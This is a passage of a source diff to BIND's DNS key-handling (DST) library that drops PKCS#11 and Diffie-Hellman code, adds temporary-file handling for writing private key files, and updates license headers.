 	}
 
 	isc_buffer_usedregion(&textb, &r);
-	if ((unsigned)fwrite(r.base, 1, r.length, fp) != r.length) {
-		ret = DST_R_WRITEERROR;
+	if ((unsigned int)fwrite(r.base, 1, r.length, fp) != r.length) {
+		return (dst_key_cleanup(tmpname, fp));
 	}
 
 	fputc('\n', fp);
-	fflush(fp);
-	if (ferror(fp)) {
-		ret = DST_R_WRITEERROR;
-	}
-	fclose(fp);
 
-	return (ret);
+	return (dst_key_close(tmpname, fp, filename));
 }
 
 static isc_result_t
@@ -2165,12 +2247,15 @@ buildfilename(dns_name_t *name, dns_keytag_t id, unsigned int alg,
 	isc_result_t result;
 
 	REQUIRE(out != NULL);
+
 	if ((type & DST_TYPE_PRIVATE) != 0) {
 		suffix = ".private";
 	} else if ((type & DST_TYPE_PUBLIC) != 0) {
 		suffix = ".key";
 	} else if ((type & DST_TYPE_STATE) != 0) {
 		suffix = ".state";
+	} else if ((type & DST_TYPE_TEMPLATE) != 0) {
+		suffix = ".XXXXXX";
 	}
 
 	if (directory != NULL) {
@@ -2179,7 +2264,8 @@ buildfilename(dns_name_t *name, dns_keytag_t id, unsigned int alg,
 		}
 		isc_buffer_putstr(out, directory);
 		if (strlen(directory) > 0U &&
-		    directory[strlen(directory) - 1] != '/') {
+		    directory[strlen(directory) - 1] != '/')
+		{
 			isc_buffer_putstr(out, "/");
 		}
 	}
@@ -2227,9 +2313,6 @@ frombuffer(const dns_name_t *name, unsigned int alg, unsigned int flags,
 	REQUIRE(keyp != NULL && *keyp == NULL);
 
 	key = get_key_struct(name, alg, flags, protocol, 0, rdclass, 0, mctx);
-	if (key == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 
 	if (isc_buffer_remaininglength(source) > 0) {
 		ret = algorithm_status(alg);
@@ -2372,20 +2455,31 @@ dst_key_is_unused(dst_key_t *key) {
 	return (true);
 }
 
-static void
-get_ksk_zsk(dst_key_t *key, bool *ksk, bool *zsk) {
+isc_result_t
+dst_key_role(dst_key_t *key, bool *ksk, bool *zsk) {
 	bool k = false, z = false;
+	isc_result_t result, ret = ISC_R_SUCCESS;
 
-	if (dst_key_getbool(key, DST_BOOL_KSK, &k) == ISC_R_SUCCESS) {
-		*ksk = k;
-	} else {
-		*ksk = ((dst_key_flags(key) & DNS_KEYFLAG_KSK) != 0);
+	if (ksk != NULL) {
+		result = dst_key_getbool(key, DST_BOOL_KSK, &k);
+		if (result == ISC_R_SUCCESS) {
+			*ksk = k;
+		} else {
+			*ksk = ((dst_key_flags(key) & DNS_KEYFLAG_KSK) != 0);
+			ret = result;
+		}
 	}
-	if (dst_key_getbool(key, DST_BOOL_ZSK, &z) == ISC_R_SUCCESS) {
-		*zsk = z;
-	} else {
-		*zsk = ((dst_key_flags(key) & DNS_KEYFLAG_KSK) == 0);
+
+	if (zsk != NULL) {
+		result = dst_key_getbool(key, DST_BOOL_ZSK, &z);
+		if (result == ISC_R_SUCCESS) {
+			*zsk = z;
+		} else {
+			*zsk = ((dst_key_flags(key) & DNS_KEYFLAG_KSK) == 0);
+			ret = result;
+		}
 	}
+	return (ret);
 }
 
 /* Hints on key whether it can be published and/or used for signing. */
@@ -2444,7 +2538,7 @@ dst_key_is_active(dst_key_t *key, isc_stdtime_t now) {
 		time_ok = (when <= now);
 	}
 
-	get_ksk_zsk(key, &ksk, &zsk);
+	(void)dst_key_role(key, &ksk, &zsk);
 
 	/* Check key states:
 	 * KSK: If the DS is RUMOURED or OMNIPRESENT the key is considered
@@ -2505,7 +2599,7 @@ dst_key_is_signing(dst_key_t *key, int role, isc_stdtime_t now,
 		time_ok = (when <= now);
 	}
 
-	get_ksk_zsk(key, &ksk, &zsk);
+	(void)dst_key_role(key, &ksk, &zsk);
 
 	/* Check key states:
 	 * If the RRSIG state is RUMOURED or OMNIPRESENT, it means the key
@@ -2649,7 +2743,7 @@ dst_key_copy_metadata(dst_key_t *to, dst_key_t *from) {
 		if (result == ISC_R_SUCCESS) {
 			dst_key_setbool(to, i, yesno);
 		} else {
-			dst_key_unsetnum(to, i);
+			dst_key_unsetbool(to, i);
 		}
 	}
 
@@ -2661,4 +2755,26 @@ dst_key_copy_metadata(dst_key_t *to, dst_key_t *from) {
 			dst_key_unsetstate(to, i);
 		}
 	}
+
+	dst_key_setmodified(to, dst_key_ismodified(from));
+}
+
+const char *
+dst_hmac_algorithm_totext(dst_algorithm_t alg) {
+	switch (alg) {
+	case DST_ALG_HMACMD5:
+		return ("hmac-md5");
+	case DST_ALG_HMACSHA1:
+		return ("hmac-sha1");
+	case DST_ALG_HMACSHA224:
+		return ("hmac-sha224");
+	case DST_ALG_HMACSHA256:
+		return ("hmac-sha256");
+	case DST_ALG_HMACSHA384:
+		return ("hmac-sha384");
+	case DST_ALG_HMACSHA512:
+		return ("hmac-sha512");
+	default:
+		return ("unknown");
+	}
 }
diff --git a/lib/dns/dst_internal.h b/lib/dns/dst_internal.h
index 566e0f9ff6..827afb1c38 100644
--- a/lib/dns/dst_internal.h
+++ b/lib/dns/dst_internal.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,7 +9,9 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
+ */
+
+/*
  * Portions Copyright (C) Network Associates, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
@@ -28,6 +32,11 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <openssl/err.h>
+#include <openssl/evp.h>
+#include <openssl/objects.h>
+#include <openssl/rsa.h>
+
 #include <isc/buffer.h>
 #include <isc/hmac.h>
 #include <isc/lang.h>
@@ -38,17 +47,6 @@
 #include <isc/stdtime.h>
 #include <isc/types.h>
 
-#if USE_PKCS11
-#include <pk11/pk11.h>
-#include <pk11/site.h>
-#endif /* USE_PKCS11 */
-
-#include <openssl/dh.h>
-#include <openssl/err.h>
-#include <openssl/evp.h>
-#include <openssl/objects.h>
-#include <openssl/rsa.h>
-
 #include <dns/time.h>
 
 #include <dst/dst.h>
@@ -79,6 +77,7 @@ typedef enum { DO_SIGN, DO_VERIFY } dst_use_t;
 struct dst_key {
 	unsigned int magic;
 	isc_refcount_t refs;
+	isc_mutex_t mdlock;	    /*%< lock for read/write metadata */
 	dns_name_t *key_name;	    /*%< name of the key */
 	unsigned int key_size;	    /*%< size of the key in bits */
 	unsigned int key_proto;	    /*%< protocols this key is used for
@@ -97,14 +96,11 @@ struct dst_key {
 	union {
 		void *generic;
 		dns_gss_ctx_id_t gssctx;
-		DH *dh;
-#if USE_OPENSSL
-		EVP_PKEY *pkey;
-#endif /* if USE_OPENSSL */
-#if USE_PKCS11
-		pk11_object_t *pkey;
-#endif /* if USE_PKCS11 */
 		dst_hmac_key_t *hmac_key;
+		struct {
+			EVP_PKEY *pub;
+			EVP_PKEY *priv;
+		} pkeypair;
 	} keydata; /*%< pointer to key in crypto pkg fmt */
 
 	isc_stdtime_t times[DST_MAX_TIMES + 1]; /*%< timing metadata */
@@ -127,6 +123,7 @@ struct dst_key {
 	bool inactive; /*%< private key not present as it is
 			* inactive */
 	bool external; /*%< external key */
+	bool modified; /*%< set to true if key file metadata has changed */
 
 	int fmt_major; /*%< private key format, major version
 			* */
@@ -148,9 +145,6 @@ struct dst_context {
 		dst_gssapi_signverifyctx_t *gssctx;
 		isc_hmac_t *hmac_ctx;
 		EVP_MD_CTX *evp_md_ctx;
-#if USE_PKCS11
-		pk11_context_t *pk11_ctx;
-#endif /* if USE_PKCS11 */
 	} ctxdata;
 };
 
@@ -202,7 +196,6 @@ struct dst_func {
  */
 isc_result_t
 dst__openssl_init(const char *engine);
-#define dst__pkcs11_init pk11_initialize
 
 isc_result_t
 dst__hmacmd5_init(struct dst_func **funcp);
@@ -217,27 +210,13 @@ dst__hmacsha384_init(struct dst_func **funcp);
 isc_result_t
 dst__hmacsha512_init(struct dst_func **funcp);
 isc_result_t
-dst__openssldh_init(struct dst_func **funcp);
-#if USE_OPENSSL
-isc_result_t
 dst__opensslrsa_init(struct dst_func **funcp, unsigned char algorithm);
 isc_result_t
 dst__opensslecdsa_init(struct dst_func **funcp);
 #if HAVE_OPENSSL_ED25519 || HAVE_OPENSSL_ED448
 isc_result_t
-dst__openssleddsa_init(struct dst_func **funcp);
+dst__openssleddsa_init(struct dst_func **funcp, unsigned char algorithm);
 #endif /* HAVE_OPENSSL_ED25519 || HAVE_OPENSSL_ED448 */
-#endif /* USE_OPENSSL */
-#if USE_PKCS11
-isc_result_t
-dst__pkcs11rsa_init(struct dst_func **funcp);
-isc_result_t
-dst__pkcs11dsa_init(struct dst_func **funcp);
-isc_result_t
-dst__pkcs11ecdsa_init(struct dst_func **funcp);
-isc_result_t
-dst__pkcs11eddsa_init(struct dst_func **funcp);
-#endif /* USE_PKCS11 */
 #if HAVE_GSSAPI
 isc_result_t
 dst__gssapi_init(struct dst_func **funcp);
@@ -254,7 +233,6 @@ dst__opensslsphincssha256128s_init(struct dst_func **funcp);
  */
 void
 dst__openssl_destroy(void);
-#define dst__pkcs11_destroy pk11_finalize
 
 /*%
  * Memory allocators using the DST memory pool.
@@ -266,6 +244,16 @@ dst__mem_free(void *ptr);
 void *
 dst__mem_realloc(void *ptr, size_t size);
 
+/*%
+ * Secure private file handling
+ */
+FILE *
+dst_key_open(char *tmpname, mode_t mode);
+isc_result_t
+dst_key_close(char *tmpname, FILE *fp, char *filename);
+isc_result_t
+dst_key_cleanup(char *tmpname, FILE *fp);
+
 ISC_LANG_ENDDECLS
 
 /*! \file */
diff --git a/lib/dns/dst_openssl.h b/lib/dns/dst_openssl.h
index 34b06d4e02..b7541fd0e6 100644
--- a/lib/dns/dst_openssl.h
+++ b/lib/dns/dst_openssl.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DST_OPENSSL_H
-#define DST_OPENSSL_H 1
+#pragma once
 
 #include <openssl/bn.h>
 #include <openssl/conf.h>
@@ -23,50 +24,39 @@
 #include <isc/log.h>
 #include <isc/result.h>
 
-#if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER)
-/*
- * These are new in OpenSSL 1.1.0.  BN_GENCB _cb needs to be declared in
- * the function like this before the BN_GENCB_new call:
- *
- * #if OPENSSL_VERSION_NUMBER < 0x10100000L
- *     	 _cb;
- * #endif
- */
-#define BN_GENCB_free(x)    ((void)0)
-#define BN_GENCB_new()	    (&_cb)
-#define BN_GENCB_get_arg(x) ((x)->arg)
-#endif /* if OPENSSL_VERSION_NUMBER < 0x10100000L || \
-	* defined(LIBRESSL_VERSION_NUMBER) */
-
-#if OPENSSL_VERSION_NUMBER >= 0x10100000L
-/*
- * EVP_dss1() is a version of EVP_sha1() that was needed prior to
- * 1.1.0 because there was a link between digests and signing algorithms;
- * the link has been eliminated and EVP_sha1() can be used now instead.
- */
-#define EVP_dss1 EVP_sha1
-#endif /* if OPENSSL_VERSION_NUMBER >= 0x10100000L */
-
 ISC_LANG_BEGINDECLS
 
 isc_result_t
 dst__openssl_toresult(isc_result_t fallback);
 
+#define dst__openssl_toresult2(A, B) \
+	dst___openssl_toresult2(A, B, __FILE__, __LINE__)
 isc_result_t
-dst__openssl_toresult2(const char *funcname, isc_result_t fallback);
+dst___openssl_toresult2(const char *funcname, isc_result_t fallback,
+			const char *file, int line);
 
+#define dst__openssl_toresult3(A, B, C) \
+	dst___openssl_toresult3(A, B, C, __FILE__, __LINE__)
 isc_result_t
-dst__openssl_toresult3(isc_logcategory_t *category, const char *funcname,
-		       isc_result_t fallback);
+dst___openssl_toresult3(isc_logcategory_t *category, const char *funcname,
+			isc_result_t fallback, const char *file, int line);
 
-#if !defined(OPENSSL_NO_ENGINE)
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
 ENGINE *
 dst__openssl_getengine(const char *engine);
-#else /* if !defined(OPENSSL_NO_ENGINE) */
-#define dst__openssl_getengine(x) NULL
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
+#endif /* if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000 */
 
-ISC_LANG_ENDDECLS
+isc_result_t
+dst__openssl_fromlabel(int key_base_id, const char *engine, const char *label,
+		       const char *pin, EVP_PKEY **ppub, EVP_PKEY **ppriv);
+
+bool
+dst__openssl_keypair_compare(const dst_key_t *key1, const dst_key_t *key2);
 
-#endif /* DST_OPENSSL_H */
-/*! \file */
+bool
+dst__openssl_keypair_isprivate(const dst_key_t *key);
+
+void
+dst__openssl_keypair_destroy(dst_key_t *key);
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/dst_parse.c b/lib/dns/dst_parse.c
index ff88c0cd55..9bd7d8806a 100644
--- a/lib/dns/dst_parse.c
+++ b/lib/dns/dst_parse.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) Network Associates, Inc.
+ */
+
+/*
+ * Copyright (C) Network Associates, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -26,25 +30,22 @@
 #include "dst_parse.h"
 #include <inttypes.h>
 #include <stdbool.h>
+#include <unistd.h>
 
 #include <isc/base64.h>
 #include <isc/dir.h>
 #include <isc/file.h>
-#include <isc/fsaccess.h>
 #include <isc/lex.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/stdtime.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/log.h>
 #include <dns/time.h>
 
-#include "dst/result.h"
 #include "dst_internal.h"
+#include "isc/result.h"
 
 #define DST_AS_STR(t) ((t).value.as_textregion.base)
 
@@ -61,7 +62,7 @@ static const char *timetags[TIMING_NTAGS] = {
 
 #define NUMERIC_NTAGS (DST_MAX_NUMERIC + 1)
 static const char *numerictags[NUMERIC_NTAGS] = {
-	"Predecessor:", "Successor:", "MaxTTL:", "RollPeriod:", NULL
+	"Predecessor:", "Successor:", "MaxTTL:", "RollPeriod:", NULL, NULL, NULL
 };
 
 struct parse_map {
@@ -81,11 +82,6 @@ static struct parse_map map[] = { { TAG_RSA_MODULUS, "Modulus:" },
 				  { TAG_RSA_ENGINE, "Engine:" },
 				  { TAG_RSA_LABEL, "Label:" },
 
-				  { TAG_DH_PRIME, "Prime(p):" },
-				  { TAG_DH_GENERATOR, "Generator(g):" },
-				  { TAG_DH_PRIVATE, "Private_value(x):" },
-				  { TAG_DH_PUBLIC, "Public_value(y):" },
-
 				  { TAG_ECDSA_PRIVATEKEY, "PrivateKey:" },
 				  { TAG_ECDSA_ENGINE, "Engine:" },
 				  { TAG_ECDSA_LABEL, "Label:" },
@@ -133,7 +129,8 @@ find_value(const char *s, const unsigned int alg) {
 	int i;
 	for (i = 0; map[i].tag != NULL; i++) {
 		if (strcasecmp(s, map[i].tag) == 0 &&
-		    (TAG_ALG(map[i].value) == alg)) {
+		    (TAG_ALG(map[i].value) == alg))
+		{
 			return (map[i].value);
 		}
 	}
@@ -205,10 +202,9 @@ check_rsa(const dst_private_t *priv, bool external) {
 
 	mask = (1ULL << TAG_SHIFT) - 1;
 
-	if (have[TAG_RSA_ENGINE & mask]) {
+	if (have[TAG_RSA_LABEL & mask]) {
 		ok = have[TAG_RSA_MODULUS & mask] &&
-		     have[TAG_RSA_PUBLICEXPONENT & mask] &&
-		     have[TAG_RSA_LABEL & mask];
+		     have[TAG_RSA_PUBLICEXPONENT & mask];
 	} else {
 		ok = have[TAG_RSA_MODULUS & mask] &&
 		     have[TAG_RSA_PUBLICEXPONENT & mask] &&
@@ -222,25 +218,6 @@ check_rsa(const dst_private_t *priv, bool external) {
 	return (ok ? 0 : -1);
 }
 
-static int
-check_dh(const dst_private_t *priv) {
-	int i, j;
-	if (priv->nelements != DH_NTAGS) {
-		return (-1);
-	}
-	for (i = 0; i < DH_NTAGS; i++) {
-		for (j = 0; j < priv->nelements; j++) {
-			if (priv->elements[j].tag == TAG(DST_ALG_DH, i)) {
-				break;
-			}
-		}
-		if (j == priv->nelements) {
-			return (-1);
-		}
-	}
-	return (0);
-}
-
 static int
 check_ecdsa(const dst_private_t *priv, bool external) {
 	int i, j;
@@ -269,11 +246,8 @@ check_ecdsa(const dst_private_t *priv, bool external) {
 
 	mask = (1ULL << TAG_SHIFT) - 1;
 
-	if (have[TAG_ECDSA_ENGINE & mask]) {
-		ok = have[TAG_ECDSA_LABEL & mask];
-	} else {
-		ok = have[TAG_ECDSA_PRIVATEKEY & mask];
-	}
+	ok = have[TAG_ECDSA_LABEL & mask] || have[TAG_ECDSA_PRIVATEKEY & mask];
+
 	return (ok ? 0 : -1);
 }
 
@@ -305,11 +279,8 @@ check_eddsa(const dst_private_t *priv, bool external) {
 
 	mask = (1ULL << TAG_SHIFT) - 1;
 
-	if (have[TAG_EDDSA_ENGINE & mask]) {
-		ok = have[TAG_EDDSA_LABEL & mask];
-	} else {
-		ok = have[TAG_EDDSA_PRIVATEKEY & mask];
-	}
+	ok = have[TAG_EDDSA_LABEL & mask] || have[TAG_EDDSA_PRIVATEKEY & mask];
+
 	return (ok ? 0 : -1);
 }
 
@@ -476,7 +447,6 @@ check_sphincssha256128s(const dst_private_t *priv, bool external) {
 static int
 check_data(const dst_private_t *priv, const unsigned int alg, bool old,
 	   bool external) {
-	/* XXXVIX this switch statement is too sparse to gen a jump table. */
 	switch (alg) {
 	case DST_ALG_RSA:
 	case DST_ALG_RSASHA1:
@@ -484,8 +454,6 @@ check_data(const dst_private_t *priv, const unsigned int alg, bool old,
 	case DST_ALG_RSASHA256:
 	case DST_ALG_RSASHA512:
 		return (check_rsa(priv, external));
-	case DST_ALG_DH:
-		return (check_dh(priv));
 	case DST_ALG_ECDSA256:
 	case DST_ALG_ECDSA384:
 		return (check_ecdsa(priv, external));
@@ -745,11 +713,13 @@ dst__privstruct_writefile(const dst_key_t *key, const dst_private_t *priv,
 	FILE *fp;
 	isc_result_t result;
 	char filename[NAME_MAX];
+	char tmpname[NAME_MAX];
 	char buffer[MAXFIELDSIZE * 2];
-	isc_fsaccess_t access;
 	isc_stdtime_t when;
 	uint32_t value;
 	isc_buffer_t b;
+	isc_buffer_t fileb;
+	isc_buffer_t tmpb;
 	isc_region_t r;
 	int major, minor;
 	mode_t mode;
@@ -762,14 +732,15 @@ dst__privstruct_writefile(const dst_key_t *key, const dst_private_t *priv,
 		return (ret);
 	}
 
-	isc_buffer_init(&b, filename, sizeof(filename));
-	result = dst_key_buildfilename(key, DST_TYPE_PRIVATE, directory, &b);
+	isc_buffer_init(&fileb, filename, sizeof(filename));
+	result = dst_key_buildfilename(key, DST_TYPE_PRIVATE, directory,
+				       &fileb);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 
 	result = isc_file_mode(filename, &mode);
-	if (result == ISC_R_SUCCESS && mode != 0600) {
+	if (result == ISC_R_SUCCESS && mode != (S_IRUSR | S_IWUSR)) {
 		/* File exists; warn that we are changing its permissions */
 		int level;
 
@@ -782,14 +753,17 @@ dst__privstruct_writefile(const dst_key_t *key, const dst_private_t *priv,
 			      filename, (unsigned int)mode);
 	}
 
-	if ((fp = fopen(filename, "w")) == NULL) {
-		return (DST_R_WRITEERROR);
+	isc_buffer_init(&tmpb, tmpname, sizeof(tmpname));
+	result = dst_key_buildfilename(key, DST_TYPE_TEMPLATE, directory,
+				       &tmpb);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
-	access = 0;
-	isc_fsaccess_add(ISC_FSACCESS_OWNER,
-			 ISC_FSACCESS_READ | ISC_FSACCESS_WRITE, &access);
-	(void)isc_fsaccess_set(filename, access);
+	fp = dst_key_open(tmpname, S_IRUSR | S_IWUSR);
+	if (fp == NULL) {
+		return (DST_R_WRITEERROR);
+	}
 
 	dst_key_getprivateformat(key, &major, &minor);
 	if (major == 0 && minor == 0) {
@@ -802,11 +776,7 @@ dst__privstruct_writefile(const dst_key_t *key, const dst_private_t *priv,
 
 	fprintf(fp, "%s %u ", ALGORITHM_STR, dst_key_alg(key));
 
-	/* XXXVIX this switch statement is too sparse to gen a jump table. */
 	switch (dst_key_alg(key)) {
-	case DST_ALG_DH:
-		fprintf(fp, "(DH)\n");
-		break;
 	case DST_ALG_RSASHA1:
 		fprintf(fp, "(RSASHA1)\n");
 		break;
@@ -872,8 +842,7 @@ dst__privstruct_writefile(const dst_key_t *key, const dst_private_t *priv,
 		isc_buffer_init(&b, buffer, sizeof(buffer));
 		result = isc_base64_totext(&r, sizeof(buffer), "", &b);
 		if (result != ISC_R_SUCCESS) {
-			fclose(fp);
-			return (DST_R_INVALIDPRIVATEKEY);
+			return (dst_key_cleanup(tmpname, fp));
 		}
 		isc_buffer_usedregion(&b, &r);
 
@@ -904,8 +873,7 @@ dst__privstruct_writefile(const dst_key_t *key, const dst_private_t *priv,
 			isc_buffer_init(&b, buffer, sizeof(buffer));
 			result = dns_time32_totext(when, &b);
 			if (result != ISC_R_SUCCESS) {
-				fclose(fp);
-				return (DST_R_INVALIDPRIVATEKEY);
+				return (dst_key_cleanup(tmpname, fp));
 			}
 
 			isc_buffer_usedregion(&b, &r);
@@ -917,9 +885,7 @@ dst__privstruct_writefile(const dst_key_t *key, const dst_private_t *priv,
 		}
 	}
 
-	fflush(fp);
-	result = ferror(fp) ? DST_R_WRITEERROR : ISC_R_SUCCESS;
-	fclose(fp);
+	result = dst_key_close(tmpname, fp, filename);
 	return (result);
 }
 
diff --git a/lib/dns/dst_parse.h b/lib/dns/dst_parse.h
index 47504a8397..3c593a28a4 100644
--- a/lib/dns/dst_parse.h
+++ b/lib/dns/dst_parse.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) Network Associates, Inc.
+ */
+
+/*
+ * Copyright (C) Network Associates, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -24,8 +28,7 @@
  */
 
 /*! \file */
-#ifndef DST_DST_PARSE_H
-#define DST_DST_PARSE_H 1
+#pragma once
 
 #include <isc/lang.h>
 
@@ -56,12 +59,6 @@
 #define TAG_RSA_ENGINE		((DST_ALG_RSA << TAG_SHIFT) + 8)
 #define TAG_RSA_LABEL		((DST_ALG_RSA << TAG_SHIFT) + 9)
 
-#define DH_NTAGS	 4
-#define TAG_DH_PRIME	 ((DST_ALG_DH << TAG_SHIFT) + 0)
-#define TAG_DH_GENERATOR ((DST_ALG_DH << TAG_SHIFT) + 1)
-#define TAG_DH_PRIVATE	 ((DST_ALG_DH << TAG_SHIFT) + 2)
-#define TAG_DH_PUBLIC	 ((DST_ALG_DH << TAG_SHIFT) + 3)
-
 #define ECDSA_NTAGS	     4
 #define TAG_ECDSA_PRIVATEKEY ((DST_ALG_ECDSA256 << TAG_SHIFT) + 0)
 #define TAG_ECDSA_ENGINE     ((DST_ALG_ECDSA256 << TAG_SHIFT) + 1)
@@ -145,5 +142,3 @@ dst__privstruct_writefile(const dst_key_t *key, const dst_private_t *priv,
 			  const char *directory);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DST_DST_PARSE_H */
diff --git a/lib/dns/dst_pkcs11.h b/lib/dns/dst_pkcs11.h
deleted file mode 100644
index 3d8159c528..0000000000
--- a/lib/dns/dst_pkcs11.h
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DST_PKCS11_H
-#define DST_PKCS11_H 1
-
-#include <isc/lang.h>
-#include <isc/log.h>
-#include <isc/result.h>
-
-ISC_LANG_BEGINDECLS
-
-isc_result_t
-dst__pkcs11_toresult(const char *funcname, const char *file, int line,
-		     isc_result_t fallback, CK_RV rv);
-
-#define PK11_CALL(func, args, fallback)                                 \
-	((void)(((rv = (func)args) == CKR_OK) ||                        \
-		((ret = dst__pkcs11_toresult(#func, __FILE__, __LINE__, \
-					     fallback, rv)),            \
-		 0)))
-
-#define PK11_RET(func, args, fallback)                                  \
-	((void)(((rv = (func)args) == CKR_OK) ||                        \
-		((ret = dst__pkcs11_toresult(#func, __FILE__, __LINE__, \
-					     fallback, rv)),            \
-		 0)));                                                  \
-	if (rv != CKR_OK)                                               \
-		goto err;
-
-ISC_LANG_ENDDECLS
-
-#endif /* DST_PKCS11_H */
diff --git a/lib/dns/dst_result.c b/lib/dns/dst_result.c
deleted file mode 100644
index 0bcfb3c4c1..0000000000
--- a/lib/dns/dst_result.c
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <isc/once.h>
-#include <isc/util.h>
-
-#include <dst/result.h>
-
-static const char *text[DST_R_NRESULTS] = {
-	"algorithm is unsupported",		 /*%< 0 */
-	"crypto failure",			 /*%< 1 */
-	"built with no crypto support",		 /*%< 2 */
-	"illegal operation for a null key",	 /*%< 3 */
-	"public key is invalid",		 /*%< 4 */
-	"private key is invalid",		 /*%< 5 */
-	"external key",				 /*%< 6 */
-	"error occurred writing key to disk",	 /*%< 7 */
-	"invalid algorithm specific parameter",	 /*%< 8 */
-	"UNUSED9",				 /*%< 9 */
-	"UNUSED10",				 /*%< 10 */
-	"sign failure",				 /*%< 11 */
-	"UNUSED12",				 /*%< 12 */
-	"UNUSED13",				 /*%< 13 */
-	"verify failure",			 /*%< 14 */
-	"not a public key",			 /*%< 15 */
-	"not a private key",			 /*%< 16 */
-	"not a key that can compute a secret",	 /*%< 17 */
-	"failure computing a shared secret",	 /*%< 18 */
-	"no randomness available",		 /*%< 19 */
-	"bad key type",				 /*%< 20 */
-	"no engine",				 /*%< 21 */
-	"illegal operation for an external key", /*%< 22 */
-};
-
-static const char *ids[DST_R_NRESULTS] = {
-	"DST_R_UNSUPPORTEDALG",
-	"DST_R_CRYPTOFAILURE",
-	"DST_R_NOCRYPTO",
-	"DST_R_NULLKEY",
-	"DST_R_INVALIDPUBLICKEY",
-	"DST_R_INVALIDPRIVATEKEY",
-	"UNUSED",
-	"DST_R_WRITEERROR",
-	"DST_R_INVALIDPARAM",
-	"UNUSED",
-	"UNUSED",
-	"DST_R_SIGNFAILURE",
-	"UNUSED",
-	"UNUSED",
-	"DST_R_VERIFYFAILURE",
-	"DST_R_NOTPUBLICKEY",
-	"DST_R_NOTPRIVATEKEY",
-	"DST_R_KEYCANNOTCOMPUTESECRET",
-	"DST_R_COMPUTESECRETFAILURE",
-	"DST_R_NORANDOMNESS",
-	"DST_R_BADKEYTYPE",
-	"DST_R_NOENGINE",
-	"DST_R_EXTERNALKEY",
-};
-
-#define DST_RESULT_RESULTSET 2
-
-static isc_once_t once = ISC_ONCE_INIT;
-
-static void
-initialize_action(void) {
-	isc_result_t result;
-
-	result = isc_result_register(ISC_RESULTCLASS_DST, DST_R_NRESULTS, text,
-				     DST_RESULT_RESULTSET);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_result_register() failed: %u", result);
-	}
-	result = isc_result_registerids(ISC_RESULTCLASS_DST, DST_R_NRESULTS,
-					ids, DST_RESULT_RESULTSET);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_result_registerids() failed: %u", result);
-	}
-}
-
-static void
-initialize(void) {
-	RUNTIME_CHECK(isc_once_do(&once, initialize_action) == ISC_R_SUCCESS);
-}
-
-const char *
-dst_result_totext(isc_result_t result) {
-	initialize();
-
-	return (isc_result_totext(result));
-}
-
-void
-dst_result_register(void) {
-	initialize();
-}
-
-/*! \file */
diff --git a/lib/dns/dyndb.c b/lib/dns/dyndb.c
index d9c536e91d..f5090fc6f5 100644
--- a/lib/dns/dyndb.c
+++ b/lib/dns/dyndb.c
@@ -1,6 +1,8 @@
 /*
